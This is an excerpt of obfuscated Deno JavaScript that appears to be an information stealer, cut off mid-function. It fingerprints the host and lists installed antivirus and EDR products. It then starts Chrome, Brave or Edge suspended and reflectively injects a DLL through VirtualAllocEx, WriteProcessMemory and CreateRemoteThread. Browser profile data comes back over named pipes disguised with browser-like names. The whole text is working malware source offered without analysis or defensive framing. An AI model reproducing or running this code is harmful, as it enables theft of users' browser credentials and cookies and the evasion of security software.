| const _0x534704 = import_node_os2["default"].cpus(), | |
| _0x3f498d = [...new Set(_0x534704.map(_0x55b19a => _0x55b19a.model.trim().replace(/\0/g, '')))]; | |
| return _0x3f498d; | |
| } catch { | |
| return []; | |
| } | |
| } | |
| async function getGpus() { | |
| try { | |
| const { | |
| stdout: _0x8a9b7c | |
| } = await execAsync("powershell -Command \"Get-WmiObject -Class Win32_VideoController | Select-Object -Property Name | Format-List -Property Name | Out-String\""), | |
| _0xbf504a = []; | |
| for (const _0x12a805 of _0x8a9b7c.split('\x0a')) { | |
| const _0x28ed1a = _0x12a805.trim(); | |
| if (_0x28ed1a.startsWith("Name :")) { | |
| const _0x539042 = _0x28ed1a.replace("Name :", '').trim(); | |
| if (_0x539042) { | |
| _0xbf504a.push(_0x539042); | |
| } | |
| } | |
| } | |
| return _0xbf504a; | |
| } catch { | |
| return []; | |
| } | |
| } | |
| function getRamMb() { | |
| try { | |
| return Math.floor(import_node_os2["default"].totalmem() / 0x400 / 0x400); | |
| } catch { | |
| return 0x0; | |
| } | |
| } | |
| function getAvs() { | |
| const _0x18b33c = [["C:\\Program Files\\Windows Defender", "Microsoft Defender Antivirus"], ["C:\\Program Files\\Windows Defender Advanced Threat Protection", "Microsoft Defender for Endpoint"], ["C:\\Program Files\\Microsoft Defender ATP", "Microsoft Defender for Endpoint"], ["C:\\ProgramData\\Microsoft\\Windows Defender", "Microsoft Defender Antivirus"], ["C:\\Program Files\\Kaspersky Lab", "Kaspersky"], ["C:\\Program Files\\Kaspersky", "Kaspersky"], ["C:\\Program Files\\ESET", "ESET"], ["C:\\Program Files (x86)\\ESET", "ESET"], ["C:\\Program Files\\Norton", "Norton"], ["C:\\Program Files\\Symantec", "Symantec (Broadcom)"], ["C:\\Program Files\\McAfee", "McAfee"], ["C:\\Program Files\\Trend Micro", "Trend Micro"], ["C:\\Program Files\\Bitdefender", "Bitdefender"], ["C:\\Program Files\\Avast Software", "Avast"], ["C:\\Program Files\\AVG", 'AVG'], ["C:\\ProgramData\\Avast", "Avast"], ["C:\\Program Files\\Sophos", "Sophos"], ["C:\\ProgramData\\Sophos", "Sophos"], ["C:\\Program Files\\CrowdStrike", "CrowdStrike Falcon"], ["C:\\ProgramData\\CrowdStrike", "CrowdStrike Falcon"], ["C:\\Program Files\\SentinelOne", "SentinelOne"], ["C:\\ProgramData\\SentinelOne", "SentinelOne"], ["C:\\Program Files\\VMware\\Carbon Black", "VMware Carbon Black"], ["C:\\Program Files\\Carbon Black", "Carbon Black"], ["C:\\ProgramData\\Carbon Black", "Carbon Black"], ["C:\\Program Files\\Cylance", "Cylance"], ["C:\\Program Files\\CylanceProtect", "Cylance Protect"], ["C:\\Program Files\\Cisco\\AMP", "Cisco AMP for Endpoints"], ["C:\\Program Files\\Cisco\\AMP for Endpoints", "Cisco AMP"], ["C:\\Program Files\\Malwarebytes", "Malwarebytes"], ["C:\\ProgramData\\Malwarebytes", "Malwarebytes"], ["C:\\Program Files\\Panda Security", "Panda Security"], ["C:\\Program Files\\F-Secure", "F-Secure"], ["C:\\Program Files\\Comodo", "Comodo"]], | |
| _0x77dc16 = []; | |
| try { | |
| const _0x3a9236 = typeof Deno !== "undefined" ? Deno : require('node:fs'); | |
| for (const [_0x3a0e60, _0x1b49f9] of _0x18b33c) { | |
| try { | |
| if (typeof Deno !== "undefined") { | |
| Deno.statSync(_0x3a0e60); | |
| _0x77dc16.push(_0x1b49f9); | |
| } else { | |
| _0x3a9236.statSync(_0x3a0e60); | |
| _0x77dc16.push(_0x1b49f9); | |
| } | |
| } catch {} | |
| } | |
| const _0x1749b4 = [...new Set(_0x77dc16)]; | |
| if (_0x1749b4.length > 0x0) { | |
| return _0x1749b4; | |
| } | |
| return void 0x0; | |
| } catch { | |
| return void 0x0; | |
| } | |
| } | |
| function isElevated() { | |
| if (!advapi32 || !kernel324) { | |
| return void 0x0; | |
| } | |
| try { | |
| const _0x21b5ef = 0x8, | |
| _0x427110 = 0x14, | |
| _0x3fac2d = kernel324.symbols.GetCurrentProcess(), | |
| _0x25a2f8 = new Uint8Array(0x8), | |
| _0x1c09f1 = advapi32.symbols.OpenProcessToken(_0x3fac2d, _0x21b5ef, _0x25a2f8); | |
| if (_0x1c09f1 === 0x0) { | |
| return void 0x0; | |
| } | |
| const _0x3146e8 = new DataView(_0x25a2f8.buffer), | |
| _0x32fae4 = Deno.UnsafePointer.create(_0x3146e8.getBigUint64(0x0, true)), | |
| _0x55e00a = new Uint32Array(0x1), | |
| _0x5dfd4d = new Uint32Array(0x1), | |
| _0x56bf3d = advapi32.symbols.GetTokenInformation(_0x32fae4, _0x427110, _0x55e00a, 0x4, _0x5dfd4d); | |
| kernel324.symbols.CloseHandle(_0x32fae4); | |
| if (_0x56bf3d !== 0x0) { | |
| return _0x55e00a[0x0] !== 0x0; | |
| } | |
| } catch (_0x262e21) { | |
| console.warn("Failed to check elevation:", _0x262e21); | |
| } | |
| return void 0x0; | |
| } | |
| function isAdmin() { | |
| if (!advapi32 || !kernel324) { | |
| return void 0x0; | |
| } | |
| try { | |
| const _0x487abf = 0x8, | |
| _0x59851d = 0x2, | |
| _0x58253c = new Uint8Array([0x0, 0x0, 0x0, 0x0, 0x0, 0x5]), | |
| _0x3083c8 = kernel324.symbols.GetCurrentProcess(), | |
| _0x37e168 = new Uint8Array(0x8), | |
| _0x1ff14f = advapi32.symbols.OpenProcessToken(_0x3083c8, _0x487abf, _0x37e168); | |
| if (_0x1ff14f === 0x0) { | |
| return void 0x0; | |
| } | |
| const _0x2b451f = new DataView(_0x37e168.buffer), | |
| _0x7d5da = Deno.UnsafePointer.create(_0x2b451f.getBigUint64(0x0, true)), | |
| _0x4ef159 = new Uint8Array(0x8), | |
| _0x1ae8e8 = advapi32.symbols["AllocateAndInitializeSid"](_0x58253c, 0x2, 0x20, 0x220, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, _0x4ef159); | |
| if (_0x1ae8e8 === 0x0) { | |
| kernel324.symbols.CloseHandle(_0x7d5da); | |
| return void 0x0; | |
| } | |
| const _0x15a554 = new DataView(_0x4ef159.buffer), | |
| _0x9a6eb6 = Deno.UnsafePointer.create(_0x15a554.getBigUint64(0x0, true)), | |
| _0x3fce0b = new Uint32Array(0x1); | |
| advapi32.symbols.GetTokenInformation(_0x7d5da, _0x59851d, new Uint8Array(0x0), 0x0, _0x3fce0b); | |
| const _0x12039b = _0x3fce0b[0x0]; | |
| if (_0x12039b === 0x0) { | |
| advapi32.symbols.FreeSid(_0x9a6eb6); | |
| kernel324.symbols.CloseHandle(_0x7d5da); | |
| return void 0x0; | |
| } | |
| const _0x5d3a1e = new Uint8Array(_0x12039b), | |
| _0x519ae0 = advapi32.symbols.GetTokenInformation(_0x7d5da, _0x59851d, _0x5d3a1e, _0x12039b, _0x3fce0b); | |
| if (_0x519ae0 === 0x0) { | |
| advapi32.symbols.FreeSid(_0x9a6eb6); | |
| kernel324.symbols.CloseHandle(_0x7d5da); | |
| return void 0x0; | |
| } | |
| const _0x4830f7 = new DataView(_0x5d3a1e.buffer), | |
| _0x5024ea = _0x4830f7.getUint32(0x0, true); | |
| let _0x506de8 = false; | |
| for (let _0x283f23 = 0x0; _0x283f23 < _0x5024ea; _0x283f23++) { | |
| const _0x3c9959 = 0x8 + _0x283f23 * 0x10, | |
| _0xa4919a = _0x4830f7.getBigUint64(_0x3c9959, true), | |
| _0x2c31c2 = Deno.UnsafePointer.create(_0xa4919a), | |
| _0x41b94e = advapi32.symbols.EqualSid(_0x2c31c2, _0x9a6eb6); | |
| if (_0x41b94e !== 0x0) { | |
| _0x506de8 = true; | |
| break; | |
| } | |
| } | |
| advapi32.symbols.FreeSid(_0x9a6eb6); | |
| kernel324.symbols.CloseHandle(_0x7d5da); | |
| return _0x506de8; | |
| } catch (_0x346922) { | |
| console.warn("Failed to check admin rights:", _0x346922); | |
| } | |
| return void 0x0; | |
| } | |
| async function getSystemInfo() { | |
| const _0x2e831d = getUsername(), | |
| _0x20ee1d = getHostname(), | |
| _0x6566a = getDomain(), | |
| _0x29ee16 = getOsName(), | |
| _0x186c15 = getOsVersion(), | |
| _0x197c22 = getOsBuild(), | |
| _0x3276f5 = import_node_os2["default"].platform(), | |
| _0x12329a = import_node_os2["default"].type(), | |
| _0x58c704 = import_node_os2["default"].release(), | |
| _0x580902 = getCpus(), | |
| _0x2c7292 = _0x6566a ? [] : await getGpus(), | |
| _0x49ba50 = getRamMb(), | |
| _0x39277f = getAvs(), | |
| _0x197d2f = isElevated(), | |
| _0x8bc6d6 = isAdmin(); | |
| return { | |
| username: _0x2e831d, | |
| hostname: _0x20ee1d, | |
| domain: _0x6566a, | |
| osName: _0x29ee16, | |
| osVersion: _0x186c15, | |
| osBuild: _0x197c22, | |
| platform: _0x3276f5, | |
| osType: _0x12329a, | |
| osRelease: _0x58c704, | |
| cpus: _0x580902, | |
| gpus: _0x2c7292, | |
| ramMb: _0x49ba50, | |
| avs: _0x39277f, | |
| runningAsAdmin: _0x197d2f, | |
| hasAdminRights: _0x8bc6d6 | |
| }; | |
| } | |
| var SUPPORTED_BROWSERS = [{ | |
| name: "chrome", | |
| displayName: "Chrome", | |
| exeName: "chrome.exe", | |
| paths: ["C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"] | |
| }, { | |
| name: "brave", | |
| displayName: "Brave", | |
| exeName: "brave.exe", | |
| paths: ["C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"] | |
| }, { | |
| name: "edge", | |
| displayName: "Edge", | |
| exeName: "msedge.exe", | |
| paths: ["C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"] | |
| }], | |
| COMPLETION_SIGNAL = "__DLL_PIPE_COMPLETION_SIGNAL__", | |
| DLL_TIMEOUT_MS = 0xea60, | |
| DRAIN_TIME_MS = 0x1f4, | |
| MEM_COMMIT = 0x1000, | |
| MEM_RESERVE = 0x2000, | |
| MEM_RELEASE = 0x8000, | |
| PAGE_READWRITE = 0x4, | |
| PAGE_EXECUTE_READ = 0x20, | |
| CREATE_SUSPENDED = 0x4, | |
| PIPE_ACCESS_DUPLEX = 0x3, | |
| PIPE_TYPE_MESSAGE = 0x4, | |
| PIPE_READMODE_MESSAGE = 0x2, | |
| PIPE_WAIT = 0x0, | |
| kernel325 = null; | |
| function initFFI2() { | |
| if (kernel325) { | |
| return; | |
| } | |
| try { | |
| kernel325 = Deno.dlopen("kernel32.dll", { | |
| CreateProcessW: { | |
| parameters: ["pointer", "pointer", "pointer", "pointer", 'i32', "u32", "pointer", "pointer", "pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| CreateNamedPipeW: { | |
| parameters: ["pointer", "u32", 'u32', "u32", "u32", 'u32', 'u32', "pointer"], | |
| result: "pointer" | |
| }, | |
| ConnectNamedPipe: { | |
| parameters: ["pointer", "pointer"], | |
| result: "i32" | |
| }, | |
| ReadFile: { | |
| parameters: ["pointer", "pointer", "u32", "pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| WriteFile: { | |
| parameters: ["pointer", "pointer", 'u32', "pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| PeekNamedPipe: { | |
| parameters: ["pointer", "pointer", "u32", "pointer", "pointer", "pointer"], | |
| result: 'i32' | |
| }, | |
| VirtualAllocEx: { | |
| parameters: ["pointer", "pointer", "u64", "u32", 'u32'], | |
| result: "pointer" | |
| }, | |
| VirtualProtectEx: { | |
| parameters: ["pointer", "pointer", "u64", 'u32', "pointer"], | |
| result: 'i32' | |
| }, | |
| VirtualFreeEx: { | |
| parameters: ["pointer", "pointer", 'u64', 'u32'], | |
| result: "i32" | |
| }, | |
| WriteProcessMemory: { | |
| parameters: ["pointer", "pointer", "pointer", "u64", "pointer"], | |
| result: "i32" | |
| }, | |
| CreateRemoteThread: { | |
| parameters: ["pointer", "pointer", 'u64', "pointer", "pointer", "u32", "pointer"], | |
| result: "pointer" | |
| }, | |
| TerminateProcess: { | |
| parameters: ["pointer", 'u32'], | |
| result: 'i32' | |
| }, | |
| WaitForSingleObject: { | |
| parameters: ["pointer", "u32"], | |
| result: "u32" | |
| }, | |
| GetExitCodeProcess: { | |
| parameters: ["pointer", "pointer"], | |
| result: "i32" | |
| }, | |
| CloseHandle: { | |
| parameters: ["pointer"], | |
| result: 'i32' | |
| }, | |
| GetTickCount: { | |
| parameters: [], | |
| result: "u32" | |
| }, | |
| GetLastError: { | |
| parameters: [], | |
| result: "u32" | |
| }, | |
| Sleep: { | |
| parameters: ["u32"], | |
| result: "void" | |
| } | |
| }); | |
| } catch (_0x15e0a7) { | |
| console.error("[ChromeV20] Failed to initialize FFI:", _0x15e0a7); | |
| } | |
| } | |
| function isProcessAlive(_0x5d477a) { | |
| if (!kernel325) { | |
| return false; | |
| } | |
| const _0x15e4fb = new Uint8Array(0x4), | |
| _0x21005b = kernel325.symbols.GetExitCodeProcess(_0x5d477a, Deno.UnsafePointer.of(_0x15e4fb)); | |
| if (_0x21005b === 0x0) { | |
| console.log("[ChromeV20] Failed to get process exit code"); | |
| return false; | |
| } | |
| const _0x3d5578 = new DataView(_0x15e4fb.buffer).getUint32(0x0, true); | |
| return _0x3d5578 === 0x103; | |
| } | |
| function toWideString2(_0x24aac3) { | |
| const _0x13be3d = new ArrayBuffer((_0x24aac3.length + 0x1) * 0x2), | |
| _0x2a3187 = new Uint8Array(_0x13be3d); | |
| for (let _0x506ec6 = 0x0; _0x506ec6 < _0x24aac3.length; _0x506ec6++) { | |
| const _0xd13354 = _0x24aac3.charCodeAt(_0x506ec6); | |
| _0x2a3187[_0x506ec6 * 0x2] = _0xd13354 & 0xff; | |
| _0x2a3187[_0x506ec6 * 0x2 + 0x1] = _0xd13354 >> 0x8 & 0xff; | |
| } | |
| _0x2a3187[_0x24aac3.length * 0x2] = 0x0; | |
| _0x2a3187[_0x24aac3.length * 0x2 + 0x1] = 0x0; | |
| return _0x13be3d; | |
| } | |
| function generatePipeName(_0x38f572) { | |
| const _0x90c5b = Deno.pid, | |
| _0x82499d = kernel325.symbols.GetTickCount(), | |
| _0x4f2115 = (_0x90c5b ^ _0x82499d) & 0xffff, | |
| _0x76e5b6 = (_0x90c5b >> 0x10 ^ _0x82499d >> 0x10) & 0xffff, | |
| _0x4b66c0 = (_0x90c5b << 0x8 ^ _0x82499d) & 0xffff; | |
| let _0x6b4b9; | |
| switch (_0x38f572.toLowerCase()) { | |
| case "chrome": | |
| { | |
| const _0x164dcf = ["chrome.sync." + _0x4f2115 + '.' + _0x76e5b6 + '.' + _0x4b66c0.toString(0x10).padStart(0x4, '0'), "chrome.nacl." + _0x4f2115 + '_' + _0x4b66c0.toString(0x10).padStart(0x4, '0'), "mojo." + _0x4f2115 + '.' + _0x76e5b6 + '.' + _0x4b66c0.toString(0x10).padStart(0x4, '0') + ".chrome"]; | |
| _0x6b4b9 = _0x164dcf[(_0x4f2115 + _0x76e5b6) % 0x3]; | |
| break; | |
| } | |
| case "edge": | |
| { | |
| const _0x28e5dc = ["msedge.sync." + _0x4f2115 + '.' + _0x76e5b6, "msedge.crashpad." + _0x4f2115 + '_' + _0x4b66c0.toString(0x10).padStart(0x4, '0'), "LOCAL\\msedge_" + _0x4f2115]; | |
| _0x6b4b9 = _0x28e5dc[(_0x76e5b6 + _0x4b66c0) % 0x3]; | |
| break; | |
| } | |
| case "brave": | |
| { | |
| const _0x493573 = ["brave.sync." + _0x4f2115 + '.' + _0x76e5b6, "mojo." + _0x4f2115 + '.' + _0x76e5b6 + ".brave", "brave.crashpad_" + _0x4f2115]; | |
| _0x6b4b9 = _0x493573[_0x4b66c0 % 0x3]; | |
| break; | |
| } | |
| default: | |
| _0x6b4b9 = "chromium.ipc." + _0x4f2115 + '.' + _0x76e5b6; | |
| } | |
| return "\\\\.\\pipe\\" + _0x6b4b9; | |
| } | |
| function findBrowserPath(_0x5ef2e9) { | |
| for (const _0x4c063e of _0x5ef2e9.paths) { | |
| try { | |
| Deno.statSync(_0x4c063e); | |
| return _0x4c063e; | |
| } catch {} | |
| } | |
| return null; | |
| } | |
| function findInstalledBrowsers() { | |
| const _0xec540e = []; | |
| for (const _0x2341e9 of SUPPORTED_BROWSERS) { | |
| const _0x5317cc = findBrowserPath(_0x2341e9); | |
| if (_0x5317cc) { | |
| console.log("[ChromeV20] Found " + _0x2341e9.displayName + " at: " + _0x5317cc); | |
| _0xec540e.push([_0x2341e9, _0x5317cc]); | |
| } | |
| } | |
| return _0xec540e; | |
| } | |
| function createSuspendedProcess(_0x516699) { | |
| if (!kernel325) { | |
| return null; | |
| } | |
| const _0x3bb6e0 = toWideString2(_0x516699), | |
| _0x129809 = new ArrayBuffer(0x68), | |
| _0x1baaae = new Uint8Array(_0x129809), | |
| _0x441f41 = new DataView(_0x129809); | |
| _0x441f41.setUint32(0x0, 0x68, true); | |
| const _0x52f166 = new ArrayBuffer(0x18), | |
| _0xff23c6 = new Uint8Array(_0x52f166), | |
| _0x5e5ebf = kernel325.symbols.CreateProcessW(null, Deno.UnsafePointer.of(_0x3bb6e0), null, null, 0x0, CREATE_SUSPENDED, null, null, Deno.UnsafePointer.of(_0x1baaae), Deno.UnsafePointer.of(_0xff23c6)); | |
| if (_0x5e5ebf === 0x0) { | |
| const _0x1d2d86 = kernel325.symbols.GetLastError(); | |
| console.error("[ChromeV20] Failed to create suspended process: " + _0x1d2d86); | |
| return null; | |
| } | |
| const _0x44a4ce = new DataView(_0x52f166), | |
| _0x3ff805 = _0x44a4ce.getBigUint64(0x0, true), | |
| _0x31337b = _0x44a4ce.getBigUint64(0x8, true), | |
| _0x129c59 = _0x44a4ce.getUint32(0x10, true); | |
| console.log("[ChromeV20] Suspended process created (PID: " + _0x129c59 + ')'); | |
| return { | |
| hProcess: Deno.UnsafePointer.create(_0x3ff805), | |
| hThread: Deno.UnsafePointer.create(_0x31337b), | |
| dwProcessId: _0x129c59 | |
| }; | |
| } | |
| function findReflectiveLoaderOffset(_0x24f0b8) { | |
| if (_0x24f0b8.length < 0x40) { | |
| console.error("[ChromeV20] DLL too small"); | |
| return null; | |
| } | |
| const _0x3f5127 = new DataView(_0x24f0b8.buffer), | |
| _0x8f4343 = _0x3f5127.getUint16(0x0, true); | |
| if (_0x8f4343 !== 0x5a4d) { | |
| console.error("[ChromeV20] Invalid DOS signature"); | |
| return null; | |
| } | |
| const _0x4d698c = _0x3f5127.getUint32(0x3c, true); | |
| if (_0x4d698c + 0x108 > _0x24f0b8.length) { | |
| console.error("[ChromeV20] Invalid PE header offset"); | |
| return null; | |
| } | |
| const _0x47503d = _0x3f5127.getUint32(_0x4d698c, true); | |
| if (_0x47503d !== 0x4550) { | |
| console.error("[ChromeV20] Invalid PE signature"); | |
| return null; | |
| } | |
| const _0x494835 = _0x3f5127.getUint16(_0x4d698c + 0x6, true), | |
| _0x5c03c4 = _0x3f5127.getUint16(_0x4d698c + 0x14, true), | |
| _0x473f33 = _0x4d698c + 0x18 + _0x5c03c4, | |
| _0x24b5f2 = _0x3f5127.getUint32(_0x4d698c + 0x18 + 0x70, true); | |
| if (_0x24b5f2 === 0x0) { | |
| console.error("[ChromeV20] No export directory"); | |
| return null; | |
| } | |
| const _0x114344 = _0x3be59c => { | |
| for (let _0x48de6f = 0x0; _0x48de6f < _0x494835; _0x48de6f++) { | |
| const _0x3c8f63 = _0x473f33 + _0x48de6f * 0x28; | |
| if (_0x3c8f63 + 0x28 > _0x24f0b8.length) { | |
| continue; | |
| } | |
| const _0x9bd896 = _0x3f5127.getUint32(_0x3c8f63 + 0xc, true), | |
| _0x2c705e = _0x3f5127.getUint32(_0x3c8f63 + 0x8, true), | |
| _0xb2c90a = _0x3f5127.getUint32(_0x3c8f63 + 0x14, true); | |
| if (_0x3be59c >= _0x9bd896 && _0x3be59c < _0x9bd896 + _0x2c705e) { | |
| return _0xb2c90a + (_0x3be59c - _0x9bd896); | |
| } | |
| } | |
| return null; | |
| }, | |
| _0x3baa06 = _0x114344(_0x24b5f2); | |
| if (_0x3baa06 === null || _0x3baa06 + 0x28 > _0x24f0b8.length) { | |
| console.error("[ChromeV20] Export directory out of bounds"); | |
| return null; | |
| } | |
| const _0x362bde = _0x3f5127.getUint32(_0x3baa06 + 0x18, true), | |
| _0x3ebb54 = _0x3f5127.getUint32(_0x3baa06 + 0x20, true), | |
| _0x28f475 = _0x3f5127.getUint32(_0x3baa06 + 0x24, true), | |
| _0xc8f3b2 = _0x3f5127.getUint32(_0x3baa06 + 0x1c, true), | |
| _0x6adb86 = _0x114344(_0x3ebb54), | |
| _0x289aeb = _0x114344(_0x28f475), | |
| _0x135ca5 = _0x114344(_0xc8f3b2); | |
| if (!_0x6adb86 || !_0x289aeb || !_0x135ca5) { | |
| console.error("[ChromeV20] Failed to convert export table RVAs"); | |
| return null; | |
| } | |
| for (let _0x2907b3 = 0x0; _0x2907b3 < _0x362bde; _0x2907b3++) { | |
| const _0x3a10a7 = _0x6adb86 + _0x2907b3 * 0x4; | |
| if (_0x3a10a7 + 0x4 > _0x24f0b8.length) { | |
| continue; | |
| } | |
| const _0x3e5a46 = _0x3f5127.getUint32(_0x3a10a7, true), | |
| _0x3f366f = _0x114344(_0x3e5a46); | |
| if (_0x3f366f !== null && _0x3f366f < _0x24f0b8.length) { | |
| let _0xaa756c = ''; | |
| for (let _0x194526 = _0x3f366f; _0x194526 < _0x24f0b8.length && _0x24f0b8[_0x194526] !== 0x0; _0x194526++) { | |
| _0xaa756c += String.fromCharCode(_0x24f0b8[_0x194526]); | |
| } | |
| if (_0xaa756c === "ReflectiveLoader") { | |
| console.log("[ChromeV20] Found ReflectiveLoader export"); | |
| const _0x3d6451 = _0x289aeb + _0x2907b3 * 0x2, | |
| _0x1da18f = _0x3f5127.getUint16(_0x3d6451, true), | |
| _0x127f7a = _0x135ca5 + _0x1da18f * 0x4, | |
| _0xa2571d = _0x3f5127.getUint32(_0x127f7a, true), | |
| _0x3c7e09 = _0x114344(_0xa2571d); | |
| if (_0x3c7e09 !== null) { | |
| console.log("[ChromeV20] ReflectiveLoader offset: 0x" + _0x3c7e09.toString(0x10)); | |
| return _0x3c7e09; | |
| } | |
| } | |
| } | |
| } | |
| console.error("[ChromeV20] ReflectiveLoader export not found"); | |
| return null; | |
| } | |
| function injectDll(_0x190c90, _0x10e67b, _0x5ae400) { | |
| if (!kernel325) { | |
| return false; | |
| } | |
| const _0x2a62cb = findReflectiveLoaderOffset(_0x5ae400); | |
| if (_0x2a62cb === null) { | |
| console.error("[ChromeV20] Failed to find ReflectiveLoader"); | |
| return false; | |
| } | |
| const _0x91a3a2 = toWideString2(_0x10e67b), | |
| _0x119730 = BigInt(_0x5ae400.length + _0x91a3a2.byteLength); | |
| console.log("[ChromeV20] Allocating " + _0x119730 + " bytes in target process"); | |
| const _0x37cbb9 = kernel325.symbols.VirtualAllocEx(_0x190c90, null, _0x119730, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| if (!_0x37cbb9 || Deno.UnsafePointer.value(_0x37cbb9) === 0x0n) { | |
| console.error("[ChromeV20] Failed to allocate memory"); | |
| return false; | |
| } | |
| const _0x279f95 = Deno.UnsafePointer.value(_0x37cbb9); | |
| console.log("[ChromeV20] Memory allocated at: 0x" + _0x279f95.toString(0x10)); | |
| const _0x53c975 = new Uint8Array(0x8), | |
| _0x24fa85 = new Uint8Array(new ArrayBuffer(_0x5ae400.length)); | |
| _0x24fa85.set(_0x5ae400); | |
| let _0x5a295b = kernel325.symbols.WriteProcessMemory(_0x190c90, _0x37cbb9, Deno.UnsafePointer.of(_0x24fa85), BigInt(_0x5ae400.length), Deno.UnsafePointer.of(_0x53c975)); | |
| if (_0x5a295b === 0x0) { | |
| console.error("[ChromeV20] Failed to write DLL"); | |
| kernel325.symbols.VirtualFreeEx(_0x190c90, _0x37cbb9, 0x0n, MEM_RELEASE); | |
| return false; | |
| } | |
| console.log("[ChromeV20] DLL written (" + _0x5ae400.length + " bytes)"); | |
| const _0x4b3d15 = Deno.UnsafePointer.create(_0x279f95 + BigInt(_0x5ae400.length)); | |
| _0x5a295b = kernel325.symbols.WriteProcessMemory(_0x190c90, _0x4b3d15, Deno.UnsafePointer.of(_0x91a3a2), BigInt(_0x91a3a2.byteLength), Deno.UnsafePointer.of(_0x53c975)); | |
| if (_0x5a295b === 0x0) { | |
| console.error("[ChromeV20] Failed to write pipe name"); | |
| kernel325.symbols.VirtualFreeEx(_0x190c90, _0x37cbb9, 0x0n, MEM_RELEASE); | |
| return false; | |
| } | |
| console.log("[ChromeV20] Pipe name written"); | |
| const _0x3a9741 = new Uint8Array(0x4); | |
| _0x5a295b = kernel325.symbols.VirtualProtectEx(_0x190c90, _0x37cbb9, _0x119730, PAGE_EXECUTE_READ, Deno.UnsafePointer.of(_0x3a9741)); | |
| if (_0x5a295b === 0x0) { | |
| console.error("[ChromeV20] Failed to change memory protection"); | |
| kernel325.symbols.VirtualFreeEx(_0x190c90, _0x37cbb9, 0x0n, MEM_RELEASE); | |
| return false; | |
| } | |
| console.log("[ChromeV20] Memory protection changed"); | |
| const _0x1a6399 = Deno.UnsafePointer.create(_0x279f95 + BigInt(_0x2a62cb)); | |
| console.log("[ChromeV20] Creating remote thread at: 0x" + (_0x279f95 + BigInt(_0x2a62cb)).toString(0x10)); | |
| const _0x23cfd7 = kernel325.symbols.CreateRemoteThread(_0x190c90, null, 0x0n, _0x1a6399, _0x4b3d15, 0x0, null); | |
| if (!_0x23cfd7 || Deno.UnsafePointer.value(_0x23cfd7) === 0x0n) { | |
| const _0x4f5b67 = kernel325.symbols.GetLastError(); | |
| console.error("[ChromeV20] Failed to create remote thread: " + _0x4f5b67); | |
| kernel325.symbols.VirtualFreeEx(_0x190c90, _0x37cbb9, 0x0n, MEM_RELEASE); | |
| return false; | |
| } | |
| console.log("[ChromeV20] Remote thread created"); | |
| kernel325.symbols.CloseHandle(_0x23cfd7); | |
| return true; | |
| } | |
| function writeToPipe(_0x4e1b27, _0x93ca07) { | |
| if (!kernel325) { | |
| return false; | |
| } | |
| const _0x480bb3 = new TextEncoder().encode(_0x93ca07 + '\x00'), | |
| _0x2fb0d1 = new Uint8Array(0x4), | |
| _0x46c1f0 = kernel325.symbols.WriteFile(_0x4e1b27, Deno.UnsafePointer.of(_0x480bb3), _0x480bb3.length, Deno.UnsafePointer.of(_0x2fb0d1), null); | |
| return _0x46c1f0 !== 0x0; | |
| } | |
| function parseFileData(_0x11c066) { | |
| if (!_0x11c066.includes("__FILE_START__")) { | |
| return null; | |
| } | |
| let _0x2f2f4e = '', | |
| _0x2fc0a4 = '', | |
| _0x383501 = '', | |
| _0x225d82 = 0x0, | |
| _0x5abca8 = '', | |
| _0xcf7f42 = false; | |
| for (const _0xd39d22 of _0x11c066.split('\x0a')) { | |
| if (_0xd39d22.startsWith("BROWSER:")) { | |
| _0x2f2f4e = _0xd39d22.substring(0x8); | |
| } else if (_0xd39d22.startsWith("PROFILE:")) { | |
| _0x2fc0a4 = _0xd39d22.substring(0x8); | |
| } else if (_0xd39d22.startsWith("TYPE:")) { | |
| _0x383501 = _0xd39d22.substring(0x5); | |
| } else if (_0xd39d22.startsWith("COUNT:")) { | |
| _0x225d82 = parseInt(_0xd39d22.substring(0x6)) || 0x0; | |
| } else if (_0xd39d22 === "__JSON_START__") { | |
| _0xcf7f42 = true; | |
| } else if (_0xd39d22 === "__JSON_END__") { | |
| _0xcf7f42 = false; | |
| } else if (_0xcf7f42) { | |
| _0x5abca8 += _0xd39d22 + '\x0a'; | |
| } | |
| } | |
| if (_0x2f2f4e && _0x5abca8) { | |
| return { | |
| browser: _0x2f2f4e, | |
| profile: _0x2fc0a4, | |
| fileType: _0x383501, | |
| count: _0x225d82, | |
| jsonData: _0x5abca8 | |
| }; | |
| } | |
| return null; | |
| } | |
| function isPipeConnected(_0x1ec71e) { | |
| if (!kernel325) { | |
| return false; | |
| } | |
| const _0x5f141a = new Uint8Array(0x4), | |
| _0x3a8d44 = kernel325.symbols.PeekNamedPipe(_0x1ec71e, null, 0x0, null, Deno.UnsafePointer.of(_0x5f141a), null); | |
| return _0x3a8d44 !== 0x0; | |
| } | |
| function relayMessages(_0x54d0ee, _0x11a382) { | |
| if (!kernel325) { | |
| return []; | |
| } | |
| const _0x380a32 = Date.now(), | |
| _0x38e563 = []; | |
| let _0x4415d1 = [], | |
| _0x1f2624 = '', | |
| _0x6b17c4 = null; | |
| console.log("[ChromeV20] Waiting for DLL execution..."); | |
| while (Date.now() - _0x380a32 < DLL_TIMEOUT_MS) { | |
| if (!isProcessAlive(_0x11a382)) { | |
| console.log("[ChromeV20] Browser process died unexpectedly, stopping relay"); | |
| break; | |
| } | |
| if (!isPipeConnected(_0x54d0ee)) { | |
| console.log("[ChromeV20] Pipe disconnected, DLL execution completed"); | |
| break; | |
| } | |
| if (_0x6b17c4 !== null) { | |
| if (Date.now() - _0x6b17c4 > DRAIN_TIME_MS) { | |
| break; | |
| } | |
| } | |
| const _0xeeb1f7 = new Uint8Array(0x4), | |
| _0x4b731f = kernel325.symbols.PeekNamedPipe(_0x54d0ee, null, 0x0, null, Deno.UnsafePointer.of(_0xeeb1f7), null); | |
| if (_0x4b731f === 0x0) { | |
| if (_0x6b17c4 !== null) { | |
| break; | |
| } | |
| kernel325.symbols.Sleep(0x64); | |
| continue; | |
| } | |
| const _0x1c0e8e = new DataView(_0xeeb1f7.buffer).getUint32(0x0, true); | |
| if (_0x1c0e8e === 0x0) { | |
